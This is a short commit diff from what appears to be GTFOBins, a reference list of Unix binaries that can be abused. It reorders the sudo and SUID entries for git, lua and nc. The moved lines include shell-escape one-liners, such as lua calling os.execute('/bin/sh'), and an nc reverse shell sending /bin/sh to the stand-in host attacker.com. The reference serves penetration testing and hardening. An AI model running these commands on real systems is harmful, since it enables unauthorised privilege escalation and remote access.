Reorder functions in git, lua, and nc

This commit is contained in:
Emilio Pinna 2018-07-22 15:42:43 +01:00
parent 38cd886b36
commit 0f422cdd6a
3 changed files with 12 additions and 12 deletions

View File

@ -4,12 +4,12 @@ functions:
- code: |
export PAGER=/usr/bin/id
git -p help
suid-limited:
- code: |
export PAGER=/usr/bin/id
./git -p help
sudo-enabled:
- code: |
export PAGER=/usr/bin/id
sudo -E git -p help
suid-limited:
- code: |
export PAGER=/usr/bin/id
./git -p help
---

View File

@ -59,8 +59,8 @@ functions:
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
file-read:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
suid-limited:
- code: ./lua -e 'os.execute("/bin/sh")'
sudo-enabled:
- code: sudo lua -e 'os.execute("/bin/sh")'
suid-limited:
- code: ./lua -e 'os.execute("/bin/sh")'
---

View File

@ -24,16 +24,16 @@ functions:
LPORT=12345
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
sudo-enabled:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
---